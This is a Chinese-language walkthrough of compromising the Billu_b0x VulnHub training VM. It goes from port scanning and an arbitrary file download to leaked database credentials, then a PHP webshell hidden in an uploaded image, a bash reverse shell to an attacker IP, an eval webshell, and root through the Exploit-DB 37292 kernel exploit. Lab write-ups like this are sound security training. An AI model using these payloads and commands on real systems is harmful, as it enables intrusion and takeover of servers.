VulnHub学习之Billu_b0x实战记录
靶机下载地址:https://download.vulnhub.com/billu/Billu_b0x.zip
靶机难度:中级
目标:获取root权限
运行环境:攻击机kali linux和主机 靶机Billu_b0x
网络设置:均为Nat连接模式
下载靶场后运行:
连接方式为nat,开启kali用namp扫同网段,找到该虚拟机ip,同时扫描开放端口:
先访问一下80端口:(居然是白胡子老爹)
Show me your SQLI skills,可能会有注入?尝试一些常见的语句,未成功,抓包拿sqlmap跑一下。
结果啥也没跑出来。
注入不行的话试一下别的,先用御剑跑一下目录,跑出来一堆:
一个一个尝试:
首先是test.php,提示“file”参数为空,那就传个值给它呗。先试一下get,无事发生
用火狐的hackbar尝试post方式,发现可以任意下载文件
查看密码:
Add.php:
仅仅是前端的上传页面,不能传东西
phpmyadmin:
in.php :phpinfo页面
c.php页面是空白页,利用前面的文件下载看能不能把它下下来看看。
可以下载,这居然是config文件
账号:billu 密码:b0x_billu 数据库为ica_lab,前面的获得的passwd里存在该用户。
登陆phpmyadmin,登陆成功:
Auth表里有像账号密码一样的数据:
用该用户名和密码成功登陆网站。(红发给路飞带上草帽,很经典的一幕。)
有上传点,试着上传一张图片,上传成功
传码,试着简单绕过,不成功,下载源码看一看
发现存在文件包含
修改一张图片,在后面加上一句话cmd命令马<?php system($_GET['cmd']); ?>,然后上传
上传后,点击show users 抓包,然后修改load的位置为上传图片马的位置
图片可以被包含,现在构造post请求,参数:POST /panel.php?cmd=cat%20/etc/passwd
空格记得改为url编码20% 成功执行命令
现在修改命令为反弹shell命令
echo “bash -i >& /dev/tcp/192.168.175.140/4321 0>&1“ | bash
进行url编码后,构造成cmd参数
同时kali开启监听
成功反弹shell
得到了一个www权限,还得继续拿到root权限。
写个php马进去,直接写入没有权限,写到上传目录。echo '<?php eval($_POST['pass']);?>' >> test.php
用菜刀连,连接成功。
提权:
先查看靶机版本:
该版本有个本地提权漏洞exp,下载后丢到上传目录:
https://www.exploit-db.com/exploits/37292/
赋予执行权限chmod 777 37292.c
编译 gcc 37292.c -o exp
执行
成功提权